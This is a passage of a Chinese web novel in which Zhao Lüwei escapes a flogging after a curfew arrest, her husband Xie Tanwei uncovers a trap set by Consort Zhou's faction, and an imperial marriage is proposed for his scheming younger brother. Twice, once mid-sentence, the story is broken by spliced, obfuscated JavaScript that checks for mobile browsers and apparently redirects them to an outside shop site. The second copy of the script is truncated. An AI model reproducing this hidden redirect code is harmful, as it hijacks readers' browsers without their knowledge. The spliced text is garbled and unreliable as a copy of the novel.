“贺法曹所言,我已悉知。原本金吾拿人,先应关进卫署监室待罪,天明后才是送至京兆处分。然则法曹想也深知,我夫君司职金吾,金吾中多是相熟之人,为示避嫌,我才直接来此,故而法曹只管秉公执法,无须费心多虑。” 贺伦确有试探之意,只因虽是初见,但也早听闻过这位女官的名声,心里是有些不屑的,认为她出身高门,知书识礼不稀奇,但终究不过是个小女子,再是天子亲封的五品学士,也不能与朝官学士相提并论。 然而这番话听来,竟是如此坦荡,倒让他一时生出感佩,思索片时,却是恭敬地向露微拱手一礼:“那么,就由下官亲自为赵学士行刑。” 露微所言字字真意,可她是心有计较而来,所虑到的后果,按律被笞只是其中一个,目下还不至于此。只是,她也没想到,这贺伦当真是个刚直的法官,倒有些偏了她的计划。 想了想,露微瞥了眼身后乌黑的甬道,暗暗捏紧了手掌,“行刑本是狱吏的职分,法曹亲自动手,果然是给我颜面。”又作一笑,道:“那就请法曹稍待,容我——先脱了衣裳。” “等等!”贺伦一惊,目光闪避起来,“不必如此!” 果见他变了脸色,露微心中一喜,仍作势要解开束腰的革带,说道:“若不如此,难道法曹要将鞭子打在我的官服上吗?我虽是女人,可清誉再重,也重不过陛下亲赐的官服吧?” 贺伦似乎终于迟疑了,神情焦灼,却又招来狱吏道:“去找间空置的牢房,找件衣裳叫她换了!” 他还是要打,露微倒是没有余地了,然而那狱吏却并不即刻奉命,竟说道: “贺法曹,你可得三思啊!她是太子的人,父亲是太傅,夫家又是谢家,你让她在咱们牢里脱衣服换衣服的……小人可不敢办!不若还是先去禀告周府尹,再做定夺吧!” 没想到狱吏怕事,反倒帮了她一把,可又不及露微松气,贺伦却怒斥道:“依法行事,有何不敢?纵无前例,我也已经通融,区区犯禁笞刑,贺某还做不得主?休再拖延,否则你也是渎职之罪!” 若非事出复杂,露微也真是无颜再周旋下去了,只见这狱吏仍无动作,又跪下求告了几句,她越发难耐,正欲索性先去更衣,就听甬道间荡来了一阵笃然的脚步声——“微微!” 会有人来救她,是她等待已久的另一个结果,然而来的这人,却并不是她想看见的。 “怎么是你啊?!冬至还是去 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周崇站定稍歇了两口气,又道:“陛下已经下旨宽恕,你要弹劾谢司阶,岂不是抗旨?贺伦啊贺伦,你这个脾气什么时候能改一改?还不快向谢司阶致歉!” 露微原本听闻的周崇是个履历平常的官员,惊马案若非周贵妃及时出手,他这京兆尹早是做不成了。如今一见,倒真不像一个三品高官的派头,虽是训教下属,气势却被贺伦压了三丈。 贺伦仍是愤然神色,并不行礼,目光划过谢探微,道:“下官何错之有?是枉法?还是徇私?”又冷冷地哼了一声: “谢探微,你如此肆意妄为,以私害公,不过是倚仗你谢家的权势。”顿了顿,忽一冷笑,“或者,下官再送你们八个字——结党营私,蒙蔽圣听。” 语罢,他即绕开周崇阔步离去。周崇愣了片时,脸色红白起伏,只好从中调和: “这个贺伦一向口出狂言,旁人都不理他,但他熟知律令,是推鞫判事的好手,在此位上也算合宜。谢司阶、赵学士都是御前奉承的人,就看在我的面子上,不要与他计较了!” 露微被那八个字惊了一跳,想起父亲先前与她交底的话,果然结党是攻讦他们的绝佳理由,贺伦如此,怕是朝中也不乏此声。谢探微与她眼神交错,心意已通,却只一笑: “周府尹实在言重,今夜事起突然,多亏府尹明辨是非,又不惜夤夜禀明陛下,下官实在不知如何感谢!” 说着,谢探微便躬身下拜,露微从他话中明白了几分,也随之下拜。周崇自是连忙相扶,与谢探微又说了些客套话,便亲自将二人引出了大狱。 到了京兆府门首,露微见谢探微只是一人一马而来,想家中众人必已惊动,又不知父亲如何,心中半乱半疑。一待周崇转回,她便迫不及待问起今夜缘故。谢探微先长叹了一声,解下自己的氅衣与她披上,方才细细道来。 按照露微的计划,她确实犯禁,且陆冬至手下金吾郎已有异议,她便不能授人以柄。不去金吾待罪,直接去京兆府,则是怕惊动谢探微,闹出更大的动静,也无疑更是落人口实。 然而她在刑室与贺伦一番周旋,是认为周崇闻知消息,或会主动现身阻拦。只因,周崇是贵妃吴王一党,而她是所谓太子一党,惊马祸事才刚平息,他们必会忌惮,不欲再生矛盾。 若他们当真有这一点息事宁人之意,便算是她的运气,能够逃过刑罚。如若不然,她也甘愿受刑,终归是不能因她一时不慎,波及众人,殃及无辜。 可没想到,陆冬至虽遵守了与她的约定,未曾惊动谢探微,却是周崇自己闻知消息后,先主动见了皇帝,求得了恩旨。谢探微殿前值守,便顺理成章有了后头的事。 “当时阿耶也在紫宸殿,陛下听周崇说来,近乎是没有考虑的,便叫我随周崇去了。阿耶已经回府等你,你放心就是。” 露微却并不觉轻松,多是无奈惭愧,“其实打就打了,我不该有这些旁门左道的心思。难道以后凡有类似之事,你都要徇私么?” 谢探微岂是不通道理,心疼地揽住她道:“微微,你不会故意做让我徇私的事,周崇也不是你去求他面见陛下的。若我刚刚真的来晚了一刻,我定会自责死的。” 露微苦涩一笑,心中愧意到底被他的温存掺淡了几分,“送我回家你便赶紧回宫吧,阿耶叫我在家住几日,你等休沐再来接我吧。” 谢探微未置可否,却反问:“微微,不记得明天是什么日子了?” 露微不知他从何说起:“明天怎么了?” “明天是九月初三,是我的微微十八岁生辰。” 77.翻云 好端端讨了一场牢狱之灾,虽然逃过刑罚,到底不抵狱中阴寒,露微是夜到家,便发热起来。请来医人看过,病症倒还寻常,只是谢探微精心与她筹划的生辰,也不能好好过了。 露微也到此时方知,自己虽将生辰忘得一干二净,谢探微却从月余前就存了心思,见她一直不提,也不刻意来问,只悄悄安排,想要给她一个惊喜。 谢探微深知露微不喜奢华铺张,只是自小和他一样,颇重家人亲情,便预备九月初三当日与同僚换班,空出一日带露微回赵家。想法初具之时,李氏又找他提起,他可喜母亲也重视露微生辰,李氏更无不依从,索性与谢道元商议了,一家人都陪露微回门。 自然,这通筹划也早经谢探微之口告知了岳丈。赵维贞从前只觉这个女婿愣头愣脑,还疑心他担不起丈夫之责,连月来倒见女儿被照料得甚好,又听他这番精细心思,自是满心安慰,便也依他计策,不动声色,单叫女儿先回赵家。 然而谁也没有想到,临前一夜竟能发生这样的事,人算不如天算,可知不是假话。 露微服药之后略睡了一时,满身发汗又醒了过来,见天色已亮,谢探微不在,守在榻下的倒是雪信和丹渥,心中揣测一夜的缘故,先问了雪信: “昨夜那女孩可送到家了?路上如何?”又转看丹渥,“长公子可是回家了?母亲他们还好吧?” 二婢见状,先相视一眼,都是无奈神色,雪信叹声回道:“送到了,按夫人之言,也没遇着阻拦的,奴婢见她家中果真拮据,还把身上带的钱都留给她了。” 见露微坐起身,忙俯身扶住,“不必长公子回去,府里都知道了,五鼓一过,家翁和郡主就到了,大娘子也来了。如今公子他们都在中堂说话,郡主和大娘子就在院侧厢房,嘱咐了夫人一醒就去报信。朱夫人和乔娘在后头照应膳食,各处都妥当的,夫人还是顾着些自己吧!” 按照谢探微原本的安排,也该是一家人都到齐,如今这般,露微只能扶额一叹:“我根本没事。”拨开雪信扶持,下了榻,“更衣吧,快些。” 二人也知她们主子性子执着,多劝无用,服侍了露微盥洗整理,便去厢房通传。 李氏焦灼的身影顷刻间而至,露微还不及说话,就被李氏迎面抱进了怀里。露微与众人皆是一惊,又不敢擅动,只得向跟随在后的长姊递去眼神。谢探渺却也不语,垂目半晌,终等了李氏自己缓过来,方淡淡劝了句: “母亲,已经没事了,不好再叫微微吓着。” 李氏眼中含泪,低头忍拭,还是一副忧切心痛的样子,道:“明明是行了善事,你怎么好就把自己下了狱呢?幸亏是大郎及时赶到,否则那笞刑是你受得了的?” 露微仍有些惊于李氏的反应,想来前因后果不必再解释,只得歉然道:“母亲说的是,是我行事偏执,未见深远,累了大家。” 李氏自非嗔怪,摇头一叹,抬手抚了抚露微脸颊,“退热了,可还有什么不舒服?想吃什么?”想起一事,问起列在一侧的雪信:“医人说如何服药?” 雪信便回道:“每餐饭前先服药,奴婢已经备好了。” 李氏点点头,遂扶了露微坐回榻上,等雪信端了药来,又亲自提勺喂她。露微原并不怕吃药,从前多是直接端碗饮下,但李氏却是细致入微,每一勺只舀一半,倒让她近乎尝不出苦味。 她一瞬恍然,想起自己的母亲宋容来,若母亲泉下有知,就是见她生辰这日在病榻度过,也定是替她欣慰的。 “微微,怎么了?觉得苦吧?” 不防被李氏捕捉到片刻的出神,她一笑掩饰,拿过还剩大半的汤药几口饮尽,“阿娘,不苦。” 李氏原只略惊于她的举动,在听见这声称呼后,转作一僵,便有欢欣的笑意自颊上浮现。阿娘和母亲,有时是一个意思,有时是不同的,今后便是一样了。 谢探渺除了先前劝了那一句话,一直默然旁观,脸上的神色跟随眼前的情状暗暗浮动。 …… 谢探微在中堂同父亲和岳丈谈论昨夜之事,赵维贞虽心有余悸,但思来也觉女儿的做法很是恰当,谢道元亦甚为赞许。只是二人半生仕宦,不免都还有些深远之虑。 露微忽被金吾送到大狱,惊动周崇是必然。可他身为京兆长吏,三品大员,难道非得深夜面君才能“救”露微?大可下令暂缓施刑,等到天明再上奏,或至自行处断也在情理。 可他偏要大动干戈,又在谢探微一个晚生小吏面前那般谦卑,实在是过于夸张,便断非真心息事宁人的态度。想必不出今日,此事便会传遍朝野,引动议论。 谢探微多半心思都在露微的安危上,听到尊长所虑,忽想起昨夜那位刚正不阿的法曹贺伦,此人的态度,以及周崇对他的态度,目下回想,倒是添了几分微妙。 便将贺伦如何言辞情状对尊长详述了一遍,道:“我初到咸京,便与他常有交接,知道他为人耿直不阿,所以并没有在意他的态度。现在想来,周崇既决定入宫请旨,至少也该先令他缓刑,却没有。若非微微有意周旋,等不到恩赦,周崇此举岂非白费?难道说,周崇就因他脾性如此,指教不动,才索性直接入宫了?” 他这番分析甚是细致,两位尊长听来不时目光交意,都各有判断。赵维贞先说道: “贺伦此人,我倒是早有耳闻,只认法度,不通人情,不是个为人左右的人。然则,周崇或许原就并无此意,反是顺水推舟呢?贺伦不是已经扬言了么?结党营私,蒙蔽圣听。” “不过如此。”谢道元轻哼一声,心中了然,“取人之直,以为刀斧,只是浅薄如斯,当必还有下文。” 谢探微愈发觉得此中水浑,难知其深,想想又道:“贺伦为周崇利用也罢,可微微犯禁事出突然,以周崇之能,怎会这么快就想得如此计谋?” “他当然无此思谋,但若此事并非偶然呢?” 谢探微话音方落,却是门外响起对答,父子三人一齐抬眼,见是晏令白到了门下。 …… 李氏看露微用过饭食,外头便报,朱夫人将李氏等人的膳食奉到了。李氏于是嘱咐露微好生歇息,暂且返回了厢房。李氏有女儿在侧,也随从了侍娘小婢,朱氏虽有心侍奉,又怕自己在此,她母女反不便宜,请安之后便告退离去。 李氏至此才稍宽心,只是略用了几口就放了筷子,谢探渺见状自也无意多食,体察母亲心意,不免问道: “微微既然无事,母亲倒还是在后怕么?” 李氏却一苦笑,“怎能不怕?却也庆幸。”复作一叹,“先前我有多希望微微真的有孕,现在我便多高兴她没有身孕。否则,去了那种地方必要伤身,可就出大事了。” 方才母亲见露微时那一抱,谢探渺便早就察觉了含义,淡淡一笑,掩藏了眉梢眼角流露的不屑,道: “那阿娘以后若再发觉她有什么异样,索性直接提醒,免得她不知有孕,误伤了身子,娘总不能时时亲自看着她吧?” 李氏一时还不曾虑到今后的事,却是在回味露微唤她“阿娘”,心中暖意融融,“原是我想偏了,何苦叫她白添思虑?”顿了顿,端起茶抿了一口,却是另道: “渺儿啊,娘倒还想问你,你和若谷是怎么了?早上他送你到门首,前后殷勤,也不见你说句话,为什么事呢?” 谢探渺只知母亲那时一心慌促,不料还能注意到他们夫妻的举动,不免一惊,半晌方遮掩道: “不过是孩子的事,近来越发贪玩,闹得晚上也不安生睡觉。我说叫他寻个先生去,他却拖延许久。” 长女虽非新婚初嫁,只是怎样的性情,李氏岂能不知,十几年来都是看在眼里的,一笑劝道: “若谷是家中长子,如今是一家之主,里外都是能够担当的人,所以每每不和你计较,你有时也该收敛些。早年他父母在时,也是对你千依百顺,好到外人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014422|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都说是我谢家门第高,他徐家高攀之故,可他家毫无在意,若谷待你更是从无改变。娘总觉得,为人行事,须知敬畏,须知餍足,也更须将心比心。” 谢探渺出嫁至今也不算离过母亲膝下,母亲的言传身教亦未断过。也正如母亲所说,昔年徐家尊长在世时,也从未对她拿过架子,她凡事都是自己做主,从无屈居人下的时候。 只是此番道理,此番往事,忽听母亲娓娓道来,一时仿佛是她从未察觉的新鲜事,叫她有恍然之感,不觉中低了头,面露愧色。 …… 谢探微回到露微院中时,知母亲和长姊尚在厢房,便先去见过。李氏原还想再去陪陪露微,见儿子回来,倒也再不必,嘱咐了许多细心照料的话,便和长女一道先回了谢家。 雪信和丹渥都守在廊下,卧房极静,也不知露微是醒是眠,于是手轻脚轻地探进去,却一见,这位病人只是趴在榻上玩着玩具。 “微微。”他轻唤了声,见她发觉抬眼一笑,主动伸出双臂,随即俯身下去将人拥进了怀中,以额相贴,试了试她的体温,倒是如常,“母亲说你没睡多久,倒是贪玩。” 露微将两手握的小狗小兔举到他耳畔轻碰了下,一声清脆悦耳,“你说句话,还不如这个好听。” 谢探微无奈一笑,拿过那只小狗,也去碰了小兔一下,却略发闷,不如刚刚那声空脆,“看来它只认主人,也欺我。” 露微被逗笑,依着他的胸口,朝上蹭了蹭,“你怎么去了半日才回来?昨晚的事有这么多可说的?” 不意外她会问起,谢探微亦并不想瞒,反而是极有必要令她清楚的,“阿父才也来了,冬至昨夜听你的没去找我,但还是全都告诉了阿父,他说了些别的事。” 惊动晏令白是必然,但一听此事还有延伸,她倒慌了,忙插话道:“难道那个贺伦真的弹劾你了?连阿父也弹劾了?” “不是!”谢探微只迟了一句,她就这样乱猜,将她重新揽好,方郑重开口:“微微,你听好了,以后再不许你轻信生人!” 他口气如命令,叫露微一时真愣住了,不敢再打断,静静听了下去。原来,昨晚的事看似很快了结,实际上却又是一桩“惊马案”。周崇不是白做好事,贺伦倒是为人刀俎,而那个为母寻医的孝女竟也是为她量身裁定的圈套。 昨夜陆冬至报知晏令白后,晏令白原是想走一趟京兆府,可谁知刚出卫署大门,就在夹道上看见了周崇。计量此间时辰便知,冬至送了露微下狱,周崇便也即刻动了身。 他行动如此之快,就像是早有准备,晏令白疑心之下又详询了露微犯禁的事由,便推测那个拦路的女子也有蹊跷。 此女家门所在的城南永阳坊确是远离繁华,多为百姓贫寒聚居,符合她自言的家境,倒并不惹人怀疑。可露微遇到她的地方正是城西一片官宦簇居的贵地,一个贫女本已拮据,偏要到贵地来寻医人,这已是反常。而既不嫌路远,已将病重的母亲独留在家中整日,却在将要犯禁之际才忽然急起来,不得不赶回去,便更是颠倒之举。 于是晏令白便命陆冬至前去永阳坊带回此女,想要一问究竟。因露微用自己的身牌为她开路,永阳坊的金吾都印象深刻,很快就引陆冬至找到了她家门户,然而早已人去楼空。 再问及四邻,竟言这对母女不过才搬来不久,今晨五鼓又匆匆出了城。出城行路必要有官府出具的公验过所,否则城门守军不会放行,而咸京本地掌管此庶政的官府,正是京兆府。 “微微,若当时时间充裕,我不信你想不到,可他们就是选在将要犯禁的关头,让你无暇多顾。他们的目的,不过也正是需要你犯禁而已。” “不,这只是开始。”露微挺直了脊背,目光平静但决绝,“他们的目的,是要让吴王取太子而代之。” 谢探微眉头猛一紧,旋即用力将她按入了胸膛,“圣明之世,不讳之朝,岂容他颠倒衣裳,覆雨翻云!” 78.天恩 谢探微休沐日再到赵家,原只想陪露微继续住上些时日,谁知露微早已遣人备好了车马,一待他进门,便拉着他与父亲告辞,歇也不叫他歇一刻。 他自是拧不过,然而才到门首,露微却又想起了什么,同父亲在阶前说了好半晌的话。他原只是在车前等待,也无意探究,可相隔不过三四步,飘来的只言片语倒叫他听明白了。 及至登车出发,他才忍不住问起来:“沈家的婚事不是父亲去说了么?你怎么又叫阿耶去问杨司业呢?” 露微自不会无端叫父亲去管别家的事,只是此事久悬未决,她既是当初提出杨家的人,总不能完全不管。 这几日她都在赵家休养,沈沐芳不便登门,就叫凤梅带了礼物来问候。因而叫她想起沈沐芳和杨君游的婚事尚无着落,便叫雪信去了趟杨家,私下问了杨淑贤。 这一问才知,原来谢道元早已向杨献提过两次,有一回还是亲自登门。可杨献只是礼貌相待,言辞回避。于是露微只好寄望赵维贞,毕竟赵家和杨家的关系亲近得多。 “我前两天就和阿耶说了,今天只是再多句嘴,请阿耶快些才好。若能在贤儿成婚前定了,岂不算是好事成双?” 谢探微见她眼中闪着明澈的光泽,略无微尘,心中顿起疼惜,抬手抚了抚她温凉的脸颊,“固然如此,你还是不要操心太过,天气越发冷了,可不要再吃药了。”又淡淡一笑,“不然,再给你买些玩具回去?凑齐了十二生肖。” 他说得自己好像成日都捧着药罐子似的,露微不服,一想却是抿笑,道:“怎么?你是怕我死在你前面,叫你成了鳏夫……” 果然话未说完,已被他捂住了嘴,“赵露微,你再伶牙俐齿也不是这样饶舌的!”他脸色一下阴郁得吓人,似憋得极深重的一口怒气——“不给你买玩具了!” 虽被掩住嘴,露微也止不住一阵大笑,谢探微见自己的手是无用了,悻悻放下,不知说什么,将头偏到了另一侧。 “真生气了?”露微方自觉尴尬,伸出一指戳了戳他的颊腮,见他仍不动,又凑近了些,戳了第二下,第三下,耐心就没了,“哎呀!开玩笑的,我长命百岁!” 谢探微初闻她口出狂言是真的有气,说了一句隔了半晌,以不买玩具威胁,其实就已词穷,这时也只能认她这句是道歉,一点点转了脸来,“还乱说吗?” 露微晃了晃脑袋,嘴唇微微噘起:“买玩具去吧?” 她这般无赖,正有强弩穿缟,猛兽吞狐之效,谢探微顿时溃败,满身满心都跌入了裙下,“过延寿坊集市停一下。”他对外头小奴张扬一句,旋即将那无赖一把抄到胸前钳制住,“除了十二生肖,还想要什么?” 她用下巴支在他心窝处,眼睫微颤,似有深思:“再没有了。”却又一笑,“谢敏识,你刚刚是怕多些,还是气多些?” 谢探微不料她还敢提,嘴唇抿紧,却不是刚刚的情绪,半晌一声轻叹,“怕。” …… 夫妻逛到日头偏西方兴尽归家,虽是跑了三四家店铺才凑齐剩下的十个生肖,且有大有小,一看就不是成套的,但也算是意义非凡,露微很是喜欢。 然而二人才过门首,正说着回房要如何摆设,偶一晃眼,倒同时望见中堂内阿父来了,父母也在,不知说些什么,三位长辈的脸色都不大好看。若说这几日的事,唯有露微被设计犯禁之事最是紧要,二人相视,心照不宣,便抬脚去了。 可还不及他们叫小婢通传,却忽听李氏激昂的话音传来:“就算是抗旨,我也绝不会让这个李柔远嫁给二郎!” 所以,长辈们谈论的事竟然是皇帝赐婚么?! 夫妻脸色同步一白,瞠目互看,半晌都不知如何是好,直到叶氏从门内转来,望见廊下这般情形,慌促惊呼:“大郎和夫人怎么就回来了?” 露微确实不曾明说今日回来,可叶氏的神色另有些说不出的古怪,话音未落,就将堂内长辈引了出来。李氏来得最快,双手接过露微就切切问道: “怎么不多养几日就出门了?可完全好了?” 虽是寻常的关怀,在此刻倒像是顾左右而言他,露微也无心顾及礼数了,略一点头就问道:“阿娘刚刚说的意思,可是陛下将安定县主赐婚给二郎了?” 李氏怔然侧脸,一时不语,露微又依次看向谢道元和晏令白,神色仍是一致,这才听晏令白一叹回道:“尚无明旨,只是——陛下私下问了你们父亲。” “私下是何意?”谢探微走上前来,目光与回顾的露微一撞,却极快闪避,声音亦沉了一沉,“二郎知道了吗?” 谢道元瞧了儿子一眼,从后拍了拍李氏衣袖,李氏会意,复将露微牵好,挤出一丝笑,“过来微微,先跟娘回房。” 露微尚有百般疑惑,却也将刚刚谢道元的动作扫入了余光,暂按不提,点了头,“是。”转身前自与谢探微送去目光,那人虽也盯着她,满脸却是欲说还休的窘迫,奇怪。 …… 李氏送露微回东院后,到底是将缘故解释了一番。今日午后,谢道元正在省内当值,忽见丁仁成前来宣召,原以为是寻常政务,谁知天子开言便问起二郎年庚之事。 二郎一介白身,年初春闱又落第,何德何能叫皇帝提起来?谢道元万般惶恐,却又不及多问,便听皇帝直言,说安定县主守丧三年已满,与二郎年貌相当,有意赐婚。 谢道元于是探问皇帝为何忽有此意,皇帝却说是贵妃先提起,道安定县主先前肆意妄为,误伤了赵露微,贵妃愧疚,若能联姻,可叫女儿与赵露微做了妯娌,彼此交好,共同侍奉尊亲。 这倒也罢,贵妃竟又提到露微犯禁之事,说自己兄长周崇夤夜求旨宽恕,正是知道露微事出有因,不当受罚。况且一向才德兼备,名声在外,贵妃也望女儿能见贤思齐,一改娇纵。 皇帝自是赞同贵妃,连谢道元似乎都没有了反驳的理由。表面看去,自己一个不成器的儿子,能娶帝女已是莫大天恩,而且皇帝和贵妃还如此谦卑,他一个臣子,还要造反不成? 可如今朝堂局势已然分明,岂能浅见,不言余事,单论贵妃背后怎样用心,他也不欲二郎牵扯其中。但皇帝既是私下询问,他亦不能轻举妄动,终以内事由李敬颜做主为由,暂时拖延。皇帝既视李氏为姑母,倒也并未多言。 露微满篇听来,终于明白此事正就是她被设计犯禁的下文——他们先前屡屡失意,便先叫周崇故作好人,贵妃再顺势低眉下眼,不正就合了皇帝一向仁德尚礼的心思?真是好一招反其道而行。 “阿娘若不答应,陛下就算不降罪,也必会心存不满。此事虽尚无明旨,只怕也会传出风声。况且因我犯禁,已有所谓结党的议论,他们就是料定我们不会答应,以此加罪啊!” 露微将关键一语道破,李氏心中犹如巨石压下,然而望向她的目光里隐隐却是愧意: “娘从前想为二郎聘娶杨家小女,除了她聪颖可爱,也是因她与你情厚,你们一辈子都可相互扶持,自然他们兄弟之间也会更相融洽。可二郎与她没有缘分,也非可强求。” 露微没瞧懂李氏面上流露的滞涩之意,只忖度道:“娘想为二郎求一个良配,可安定县主虽因贵妃之故算不得良配,但她或许也只是贵妃的一枚棋子。此事恐终究不能抗旨,娘就等她进门之后,多多规正,再看呢?” 虽如此劝,露微亦不能肯定等谢家真的接旨,贵妃又会不会再生事端。然而李氏却将她双手紧紧握住,坚定道: “微微,没有贵妃之故,她也是伤了你的,恶性难改,娘决不允许这样的人日日在你身边!” 安定县主纵马伤她只是意外,如今是天子要赐婚二郎,难道李氏就因疼爱她,便要抗衡天子?甚至将李氏前后的话连起来再看,似乎二郎无论娶谁,竟都要以她的感受为先? 露微一时哑口无言。 …… 谢探微听父亲说明了缘故,心内愈发起伏难定,但直到送晏令白出府,才恨恨发言: “贵妃此计用心险恶,不应就是抗旨欺君,结党营私,应则更是祸害家门,况且阿父也知安定县主心思何在,此间必还有连环的阴谋。微微屡次受害,几乎成了他们惯用的手段,我不能再让她为这些腌臜事挡在前面了!” 晏令白自然比他清楚当下局面,又如何不比他心惊胆战,也见他方才在中堂一语不发,只暗暗发力切齿,便终归是要保持清醒,替他镇住心神,道:“你要做什么?怎么做?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023864|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢探微似已有定策,却不解眉宇忧切,片刻方一吐气,道:“惊马之事确实无法再翻查追究,可若能寻到永阳坊那对母女,一盘棋就都活了!” “你叫谁去办此事?!” 晏令白这才惊觉谢探微已有行动,只是想来他身边并无亲随庶仆可用,亦不会傻到动用金吾,因为哪怕是值得信任的甘州旧部,此刻也定是惹人注目。 莫看周崇似无过人才能,可单是京兆尹的职权就足可制压金吾。就如惊马案之初,晏令白再是皇帝亲信,有暗查之权,却也只能协办于周崇,也正因此才叫贵妃捷足,瞒下了李柔远的真正动机。 “阿父放心就是。” …… 陛下有意赐婚,自然避不开谢探隐本人,只是他也同时听闻,父母是不愿他当这个驸马的。自被露微撕破脸面,他近来正郁郁难舒,此事虽干系复杂,倒也另可琢磨,便正要借请安的机会去探问母亲,脚步才到自己院门,忽见长兄匆匆而来。 这还是长兄成婚搬回家来第一次主动上门,当下时机也不会是为别的事,便想听听他如何说,装作不察,一笑寒暄:“阿兄是稀客,怎么不陪长嫂?她的身体都好了吗?” 谢探微才送了晏令白便转到此处,无心旁事,只蹙眉道:“赐婚的事知道了吧?父亲母亲不许,是有缘故的,并非认为你配不上。” 纵有朝局千丝万缕,到了弟弟面前,他只先将心比心,怕二郎和他当初一样,看父母一味态度强硬,是看不起他。毕竟他很明白,弟弟自落榜来,父亲待之是很冷淡的。 这话倒真合了二郎几分思虑,但他迟滞半晌,却又一笑,似颇坦然,道:“我知道,那位安定县主是周贵妃的女儿,与我们道不相同。只是婚姻之事本由父母做主,不论如何,我也做不了什么。” 谢探微听来欣慰不已,点了点头,又揽住弟弟,还是解释了几句:“近来多事之秋,你在家想也听闻不少,正如你所说,贵妃一族居心难测,露微已屡受其害,我不想你也牵涉其中。你只安心在家读书,外头的事自有父亲和阿兄担承,什么都别怕。” 谢二郎对外务自是难涉其深,长兄的交代也算得字字真情,可汇聚在一处,他却只觉不屑—— 二十年不在家,一回来就收尽人心,俨然是要接管门户的做派!就算这安定县主的驸马当真做不得,此刻要是换成别的公主,恐怕父亲也是不想答应的。毕竟,父亲连国子司业杨家,一个区区四品的学官之女,都认为他般配不上。 便更不用说,这一切干系又都扯上了赵露微,或许父母还认为,安定县主若进门,首先便会对赵露微不利。为何时时事事都以赵露微为先,连他的终生事也得让步!岂有此理?岂能甘心? 无论胸中一时如何翻涌,谢探隐都适时地隐忍了下去,“阿兄。”他轻唤了声,却似感慨,又垂目一叹,“我知道的,我都听到了,阿兄也有苦衷。” 他语出晦涩,又没来由,谢探微不解:“你知道什么?” 谢探隐学他蹙眉,将他正缓缓脱开的手紧紧握住,才道:“其实安定县主喜欢的是阿兄,惊马伤人也只是针对长嫂,对吗?” 谢探微脸色顿时白去,这才想起应是上回他在紫宸殿惹恼了露微,回到家被母亲忽来打断,与母亲解释时被路过的二郎听见了。没想到,二郎竟丝毫不提,隐瞒至今。 二郎见他惊恐,心中窃喜,继续作态道:“我不是故意偷听,却怕阿兄疑我张扬,才一时不提。如今明说,是不想叫阿兄肩上负担太重。我原比不上阿兄了,常也羡慕阿兄能为家中出力。若能以婚事替家里消灾,我会很高兴的。只是父亲母亲应该不会听我的,就请阿兄代我转告吧。” 谢探微沉默良久,先时的震惊渐渐为愧疚替代,待一颗心已蓄满愧疚之情,止不住满溢,逼出胸腔,化为了夺眶而出的泪水,他将弟弟紧紧抱住,“此事绝无可能!阿兄不会叫你受半分委屈!” 谢二郎被摁压在兄长肩头的脸僵了一僵,却很快隐没在骤然暗下的秋光中,浮现无声一笑—— 薄暮昏暗的小道上,竟有一个颀长的身影悄然伫立,“阿兄别哭,我一点也不委屈。”他说着伸开双臂紧紧抱住了长兄,也在同时,笑意肆意弥散。 79.路转 夜色初降时,谢探微疾步回到东院,想着与露微分开时未言一字,不知母亲的解释能否令她安心,也怕她等自己等得急了,难免胡思乱想,心中便愈发忐忑。 只是等他踏进房内一看,却半个人影也无,将雪信、丹渥找来问话,竟言是露微叫她们下去备饭,其后便不知了。这个时辰不至于出门,难道又去见母亲了? 一面胡乱猜测,脚步已往院外去,可谁知刚迈到通往主院的廊桥,又见雪信匆匆追了上来,喊道:“夫人回来了!” 他当即一惊,东院拢共就一个进出的院门,这眨眼的工夫还能错开?又来不及深究,忙拔脚返回。然而等他再次冲进屋里,四顾一圈,竟是依旧无人。 “不是说回来了么?人呢!” 谢探微甚少发怒,尤其是对露微贴身的两个侍女,由来待之不同,此刻却实难自控,脾气冲上头顶。 雪信亦被吓住,可又怎敢欺哄他,不知怎么分辩,只低了头步步后退——忽被一手从腰后拦住: “好大的声音!” 露微从雪信身后转来,神色同这话音一样从容,见谢探微原地愣怔住,也只扬了扬嘴角,擦其肩信步走进了内室。 “微微,你去哪……”他倒极快缓过神来,可追进去想要牵住露微,又被一瞬躲开,“你,怎么了?”至此才算觉悟,她一时现身一时隐藏,是有意为之。 露微面上情绪不显,坐到镜前拔钗散髻,拈起常用的双鸟纹玉梳理起青丝来,方悠悠说道:“你发什么脾气呢?雪信是我的人,容不得你颐指气使。” 谢探微也自知失态,可她明显是绕开了正题,更显得事情蹊跷,“我是急了,你看不出?那你为何生气呢?”他不免先摆出投降的姿态,蹲去她身前,仰着面孔求问。 露微侧目一瞥,却又转对镜子发话:“那你为什么急呢?我若再不来,你是不是还想动手打人?” 这倒是离谱的推论了,她几时这样说话缠绕过?谢探微不由皱眉叹气,想还不如直接骂他一通,把事情骂清楚了也比这好,“不然,你先打我出出气?” 露微轻哼,将玉梳按在台上,发出咚一声,然则这只空下的手腾至半空,似是要重重落下,却最终揪住了这人的腮帮子:“你这嘴里可还有一句是实话?” 她指间好大的力气,扯得谢探微腰背一挺,嘴唇也被拉歪了,嘴角似有涎液漏出来,却喊道:“手冰凉!” 她的手碰到脸上的一瞬,温度是比疼痛更叫谢探微心惊的,再纵不得,两臂一展,将人提抱身前,又只觉她周身衣裳都透着湿寒,定是在外久站,沾了露水,不禁嗔道: “你究竟去哪里了?白天才说如今天气冷了,竟不记得?还是吃药上瘾?” 